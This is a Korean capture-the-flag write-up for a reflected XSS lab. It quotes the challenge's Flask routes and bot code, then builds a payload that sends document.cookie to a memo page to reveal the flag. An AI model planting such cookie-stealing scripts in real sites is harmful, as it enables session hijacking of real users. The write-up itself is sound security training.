
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
/vuln 페이지, 사용자가 입력한 값인 param을 별다른 과정없이 그대로 출력한다. XSS취약점이 존재하는 페이지이다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
/memo 페이지, 이용자가 메모를 남길 수 있으며, 작성한 메모를 출력한다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
/flag 페이지, params 값과 쿠키에 FLAG를 포함시켜 check_xss 함수를 실행시킨다. check_xss는 read_url 함수를 호출하여 vuln 엔드포인트에 접속한다.
// 로컬호스트 환경에서 웹 페이지를 접속한다.
driver.get("http://127.0.0.1:8000/")
// 접속한 웹 페이지에 매개변수로 받아온 cookie를 추가한다.
driver.add_cookie(cookie)
// 매개변수로 받아온 xss값을 이용하여 페이지에 접속한다
driver.get(url)
read_url 함수를 통해 로컬호스트 환경에서 웹 페이지 접속 후, FLAG 값을 쿠키로 추가하며 사용자로부터 입력받은 XSS값을 이용하여 XSS페이지인 /vuln페이지를 실행한다.
vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다. memo는 render_template 함수를 사용하여 페이지를 출력하므로 XSS취약점이 발생하지 않지만, vuln은 이용자가 입력한 값을 페이지에 그대로 출력하므로 XSS가 발생한다.
우리가 찾고자하는 FLAG는 vuln엔드포인트에 접속하는 임의의 사용자가 가지고있는 쿠키값이다. 우리는 이 쿠키를 탈취해야하며, 탈취한 쿠키값을 확인하기 위해서는 memo 엔드포인트를 이용하면 된다.
정리하자면, 우리가 /flag 페이지에서 입력하는 XSS스크립트를 vuln에 접근하는 FLAG값을 쿠키로 가지고있는 임의의 사용자가 실행시켜 그 값을 /memo 페이지의 파라미터인 memo로 넘겨서 /memo페이지에 출력시켜 확인하도록 한다.
사용자의 쿠키값을 확인하는 document.cookie;가 필요하며, /vuln페이지에서 실행되었던 스크립트의 결과를 /memo페이지의 memo 파라미터로 넘겨야 하므로 location.href를 사용한다.
이를 종합하면 /flag 페이지에 작성할 스크립트 코드는 다음과 같다.
<script>location.href="/memo?memo=" + document.cookie;</script>
위 코드를 제출하면 /memo 페이지에서 사용자의 쿠키값인 FLAG를 확인할 수 있다.